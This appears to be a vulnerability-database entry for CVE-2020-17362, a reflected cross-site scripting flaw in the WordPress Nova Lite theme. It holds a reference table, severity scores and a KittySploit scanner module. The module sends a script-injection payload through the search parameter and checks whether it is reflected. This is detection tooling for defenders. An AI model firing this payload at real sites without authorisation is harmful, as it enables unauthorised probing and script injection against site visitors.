Nova Lite < 1.3.9 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2020-17362 | 12 Aug 202021:16 | – | cve | |
| CVE-2020-17362 | 12 Aug 202021:16 | – | cvelist | |
| EUVD-2020-9316 | 7 Oct 202500:30 | – | euvd | |
| Nova Lite < 1.3.9 - Cross-Site Scripting | 14 Oct 202602:05 | – | nuclei | |
| CVE-2020-17362 | 12 Aug 202022:15 | – | nvd | |
| CVE-2020-17362 | 12 Aug 202022:15 | – | osv | |
| WordPress Nova Lite theme <= 1.3.8 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability | 13 Aug 202000:00 | – | patchstack | |
| Cross site scripting | 12 Aug 202022:15 | – | prion | |
| PT-2020-14924 | 12 Aug 202000:00 | – | ptsecurity | |
| CVE-2020-17362: Improper Neutralization of Input During Web Page Generation | 12 Aug 202000:00 | – | rapid7 |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Nova Lite before 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Nova Lite < 1.3.9 - Cross-Site Scripting Detection',
'description': 'Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'wordpress', 'xss', 'wp-plugin', 'wpscan', 'unauth', 'themeinprogress', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4',
'https://nvd.nist.gov/vuln/detail/CVE-2020-17362',
'https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2020-17362',
}
def run(self):
r = self.http_request(method="GET", path='/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>', 'nova-lite',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="Nova Lite < 1.3.9 - Cross-Site Scripting detected",
path='/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.02873